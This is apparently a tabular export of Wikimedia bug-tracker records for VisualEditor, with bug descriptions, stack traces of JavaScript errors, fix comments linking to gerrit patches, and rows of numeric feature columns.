+%%%*** This bug has been marked as a duplicate of bug 43051 ***%%%",,,1355425528,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-kvsbzknbe6m5oydwjk6y,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0
+45051,VisualEditor: Suggestion tool fails to close when escaping out of context menu.,"Pressing escape while editing a link with the suggestion tool open causes the context menu to close without ever hiding the suggestion tool in the dom.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1355358660,1355360935.0,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,False,PHID-TASK-ton3dd6uf2z3sfe3n2k3,task_description,resolved,True,c1,1,False,False,True,-29,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+203460,VisualEditor: Suggestion tool fails to close when escaping out of context menu.,Add to deployment milestone.,,,1357594470,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ton3dd6uf2z3sfe3n2k3,task_subcomment,,True,c1,1,True,,,-25,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+203454,VisualEditor: Suggestion tool fails to close when escaping out of context menu.,%%%*** Bug 43055 has been marked as a duplicate of this bug. ***%%%,,,1355425528,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-ton3dd6uf2z3sfe3n2k3,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0
+203450,VisualEditor: Suggestion tool fails to close when escaping out of context menu.,"Escape was normally handled by calling onInput, until yesterday I simplified the close logic.  This slipped through the cracks pre-release.
+
+Patched in https://gerrit.wikimedia.org/r/38468",,,1355360183,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-ton3dd6uf2z3sfe3n2k3,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+45036,"VisualEditor: For initial deployment, do not over-ride edit-section links","Right now, VE grabs a hold of the edit-section links. However, for current deployment this should not be the case - they should remain pointing to the wikitext editor.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Needs Triage,90.0,1355344680,1355829010.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-gax37c3j4qvaskyhk55t,task_description,resolved,True,c1,1,True,False,True,-29,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+202693,"VisualEditor: For initial deployment, do not over-ride edit-section links",This appears to have missed the deploy-train; moving.,,,1357578100,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-gax37c3j4qvaskyhk55t,task_subcomment,,True,c1,1,True,,,-25,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+202689,"VisualEditor: For initial deployment, do not over-ride edit-section links",Now merged into master.,,,1355829010,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-gax37c3j4qvaskyhk55t,task_subcomment,,True,c1,1,True,,,-28,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+202684,"VisualEditor: For initial deployment, do not over-ride edit-section links",Fixed by https://gerrit.wikimedia.org/r/#/c/38451/,,,1355804868,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-gax37c3j4qvaskyhk55t,task_subcomment,,True,c1,1,True,,,-28,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+45033,VisualEditor: Undo just after load of the editor causes JS error.,"Open the editor, Hit Control/Command U.
+Throws Exception:
+Uncaught TypeError: Cannot read property 'start' of null
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1355342280,1355360967.0,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,False,PHID-TASK-uqidpcw3y4xgb5ynjwev,task_description,resolved,True,c1,1,False,False,True,-29,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+202552,VisualEditor: Undo just after load of the editor causes JS error.,"Also happens for redo.
+Patched in: https://gerrit.wikimedia.org/r/#/c/38349/",,,1355342889,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-uqidpcw3y4xgb5ynjwev,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+44983,VisualEditor: <visualeditor-toolbar-savedialog> message is missing,"Seen on the VE-editing interface of https://www.mediawiki.org/wiki/VisualEditor:Test
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1355292540,1355341256.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-3ytipv46bzm44jpqmwoq,task_description,resolved,True,c1,1,False,False,True,-29,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+199407,VisualEditor: <visualeditor-toolbar-savedialog> message is missing,Add to deployment milestone.,,,1357594496,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3ytipv46bzm44jpqmwoq,task_subcomment,,True,c1,1,True,,,-25,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+199404,VisualEditor: <visualeditor-toolbar-savedialog> message is missing,Working for me now after a hard refresh.,,,1355341256,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-3ytipv46bzm44jpqmwoq,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,1,1,0,0,0
+199402,VisualEditor: <visualeditor-toolbar-savedialog> message is missing,"The messages are certainly in the i18n file, it probably just needs a l10n cache rebuild. Doing that now.",,,1355336196,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-3ytipv46bzm44jpqmwoq,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+199398,VisualEditor: <visualeditor-toolbar-savedialog> message is missing,"visualeditor-savedialog-title-review is in the i18n file the others aren't..
+
+visualeditor-toolbar-savedialog is also showing as missing...
+
+
+
+Certainly, for starters, having all the messages actually defined, and also ""exported"" to JS where necessary would be useful",,,1355331834,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-3ytipv46bzm44jpqmwoq,task_subcomment,,True,c1,1,False,,,-29,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0
+199391,VisualEditor: <visualeditor-toolbar-savedialog> message is missing,"Confirming that this is a bug on mediawiki.org. I was about to file a bug and include a screenshot, but I think this should be pretty easy to spot in the interface on mediawiki.org.
+
+This may not be a VisualEditor bug, per se. It could be an issue with localisation cache.",,,1355327793,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-3ytipv46bzm44jpqmwoq,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+199387,VisualEditor: <visualeditor-toolbar-savedialog> message is missing,"Also messages in that dialog, like <visualeditor-savedialog-title-review>, <visualeditor-savedialog-title-review-wrong>, <visualeditor-savedialog-title-review-good> etc",,,1355297902,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-3ytipv46bzm44jpqmwoq,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+44935,"VisualEditor: While using link inspector, transaction hangs and page eventually explodes.","Reproduce by create a new article with VisualEditor.
+
+Return down about 10 lines.
+Type some text, hit command+k (open link inspector)
+Select an item in the dropdown. Hit enter.
+
+Page may freeze but will eventually produce this stack error:
+
+Uncaught TypeError: Cannot read property 'type' of undefined ve.dm.Transaction.js:214
+ve.dm.Transaction.newFromAnnotation ve.dm.Transaction.js:214
+ve.dm.SurfaceFragment.annotateContent ve.dm.SurfaceFragment.js:450
+ve.ui.LinkInspector.onClose ve.ui.LinkInspector.js:172
+ve.ui.Inspector.close ve.ui.Inspector.js:204
+ve.ui.Context.closeInspector ve.ui.Context.js:341
+ve.ui.Context.hide ve.ui.Context.js:255
+ve.ui.Context.update ve.ui.Context.js:196
+ve.ui.Context.onChange ve.ui.Context.js:86
+(anonymous function) ve.EventEmitter.js:96
+ve.EventEmitter.emit ve.EventEmitter.js:43
+ve.dm.Surface.change ve.dm.Surface.js:278
+ve.ce.Surface.onSelectionChange ve.ce.Surface.js:293
+(anonymous function) ve.EventEmitter.js:96
+ve.EventEmitter.emit ve.EventEmitter.js:43
+ve.ce.SurfaceObserver.poll ve.ce.SurfaceObserver.js:178
+ve.ce.SurfaceObserver.start ve.ce.SurfaceObserver.js:67
+ve.ce.Surface.onUnlock ve.ce.Surface.js:313
+(anonymous function) ve.EventEmitter.js:96
+ve.EventEmitter.emit ve.EventEmitter.js:43
+ve.dm.Surface.undo ve.dm.Surface.js:322
+ve.HistoryAction.undo ve.HistoryAction.js:43
+ve.Surface.execute ve.Surface.js:162
+ve.ui.LinkInspector.onClose ve.ui.LinkInspector.js:161
+ve.ui.Inspector.close ve.ui.Inspector.js:204
+ve.ui.Inspector.onFormSubmit ve.ui.Inspector.js:102
+proxy load.php:775
+jQuery.event.dispatch load.php:3058
+elemData.handle.eventHandle
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1355189160,1355191424.0,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,False,PHID-TASK-ivhyp5yplrphnwughsqu,task_description,resolved,True,c1,1,False,False,True,-29,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,1
+196646,"VisualEditor: While using link inspector, transaction hangs and page eventually explodes.",Fixed in https://gerrit.wikimedia.org/r/#/c/38004/,,,1355191424,,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,,PHID-TASK-ivhyp5yplrphnwughsqu,task_subcomment,,True,c1,1,False,,,-29,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+44925,VisualEditor: Inspector doesn't open properly,"When you select backwards, the inspector doesn't open when you make something a link (using toolbar or command+k) and when it does open (by clicking the link icon in the context menu) the link suggestions show up in the wrong place.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Needs Triage,90.0,1355175300,1355189209.0,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,False,PHID-TASK-hydd4sggtsrxlgqhafqc,task_description,resolved,True,c1,0,False,False,True,-29,,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+196092,VisualEditor: Inspector doesn't open properly,*** Bug 37856 has been marked as a duplicate of this bug. ***,,,1355350453,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-hydd4sggtsrxlgqhafqc,task_subcomment,,True,c1,1,True,,,-29,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+196086,VisualEditor: Inspector doesn't open properly,Fixed in gerrit 37945.,,,1355176593,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-hydd4sggtsrxlgqhafqc,task_subcomment,,True,c1,0,True,,,-29,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+44920,VisualEditor: Re-enable the feedback tool for deployment,"Point to [[Project:VisualEditor/Feedback]] for now.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1355171460,1355194481.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-6k6omehrnjj3d64g3xkp,task_description,resolved,True,c1,0,True,False,True,-29,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+195743,VisualEditor: Re-enable the feedback tool for deployment,See also https://gerrit.wikimedia.org/r/#/c/32700/ for usage.,,,1355175058,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-6k6omehrnjj3d64g3xkp,task_subcomment,,True,c1,0,True,,,-29,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+44919,VisualEditor: Toolbar tooltips should also suggest key-commands,"Toolbar tooltips should also suggest key-commands - e.g. the bold button's tooltip should be ""Bold (Cmd+B)"". Not hard-coded but created live, though there may be i18n issues.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=44012",Needs Triage,90.0,1355168340,1358469697.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-qsgzi7766f5xj7zdn6hb,task_description,resolved,True,c1,0,True,False,True,-29,,0,0,0,0,1,1,1,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0
+195707,VisualEditor: Toolbar tooltips should also suggest key-commands,"Now merged, will go out in 2013-02-04 release cycle.",,,1358469697,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-qsgzi7766f5xj7zdn6hb,task_subcomment,,True,c1,1,True,,,-24,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+195705,VisualEditor: Toolbar tooltips should also suggest key-commands,Patched in https://gerrit.wikimedia.org/r/#/c/44347/,,,1358375049,,PHID-USER-pun3sjvg3cemjzbgyo2t,True,,,PHID-TASK-qsgzi7766f5xj7zdn6hb,task_subcomment,,True,c1,1,False,,,-24,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+44848,VisualEditor: Notifications should not use db-variant of page titles,"Via viewPage.pageName (mw.config wgRelevantPageName)
+
+Creating or editing pages, the mw.notify send uses the db-variant straight from wgRelevantPageName.
+
+Should mw.Title.textify it for proper localisation and normalisation.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1354930620,1354942098.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-2qype6jzcuqvgj55crv3,task_description,resolved,True,c1,0,True,False,True,-30,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+191994,VisualEditor: Notifications should not use db-variant of page titles,"(In reply to comment #1)
+> Change-Id: Ie84168cd2509a17c180c6143a87a18ae8bbb3d0a
+Merged.",,,1354942098,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-2qype6jzcuqvgj55crv3,task_subcomment,,True,c1,0,False,,,-30,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+191987,VisualEditor: Notifications should not use db-variant of page titles,Change-Id: Ie84168cd2509a17c180c6143a87a18ae8bbb3d0a,,,1354930713,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-2qype6jzcuqvgj55crv3,task_subcomment,,True,c1,0,True,,,-30,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+44847,VisualEditor: Support Internet Explorer,"Right now we have Internet Explorer support removed because it fails to support a number of features, mostly around ContentEditable. However, as a major browser we need to find a way around these shortcomings.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Needs Triage,90.0,1354926720,1359516361.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-mu7m2pj54l427crmnupd,task_description,resolved,True,c1,0,True,False,True,-30,,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+191955,VisualEditor: Support Internet Explorer,"This is close-enough to done that I'm going to make this as complete. No doubt there will remain bugs, but those are within the framework of VE generally ""working"".",,,1359516361,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-mu7m2pj54l427crmnupd,task_subcomment,,True,c1,1,True,,,-22,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,0
+191951,VisualEditor: Support Internet Explorer,Please see Bug 41233,,,1359065649,,PHID-USER-wi7txqp5ld5ze33dx7am,True,,,PHID-TASK-mu7m2pj54l427crmnupd,task_subcomment,,True,c1,1,False,,,-23,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+191947,VisualEditor: Support Internet Explorer,"Argh, ignore that; an at-least partial fix in gerrit 37592.",,,1354926991,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-mu7m2pj54l427crmnupd,task_subcomment,,True,c1,0,True,,,-30,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0
+191939,VisualEditor: Support Internet Explorer,Attempted fixes in gerrit 37566 and gerrit 37570.,,,1354926882,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-mu7m2pj54l427crmnupd,task_subcomment,,True,c1,0,True,,,-30,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+44842,VisualEditor: Create a link at the beginning of the document throws rangy error,"Create a link at the beginning of the document, select it and open inspector.
+
+Uncaught TypeError: Cannot read property 'left' of undefined rangy-position.js:215
+(anonymous function) rangy-position.js:215
+(anonymous function) rangy-position.js:295
+(anonymous function) rangy-position.js:348
+ve.ce.Surface.getSelectionRect ve.ce.Surface.js:1190
+.......
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1354920600,1355164890.0,PHID-USER-pun3sjvg3cemjzbgyo2t,False,,False,PHID-TASK-jvbmuzupmyildaswp3ax,task_description,resolved,True,c1,0,False,False,True,-30,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,0
+191722,VisualEditor: Create a link at the beginning of the document throws rangy error,Related URL: https://gerrit.wikimedia.org/r/69707 (Gerrit Change I8bcdea0f7a6951216bf8368865d23ef6246880ea),,,1371753492,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jvbmuzupmyildaswp3ax,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
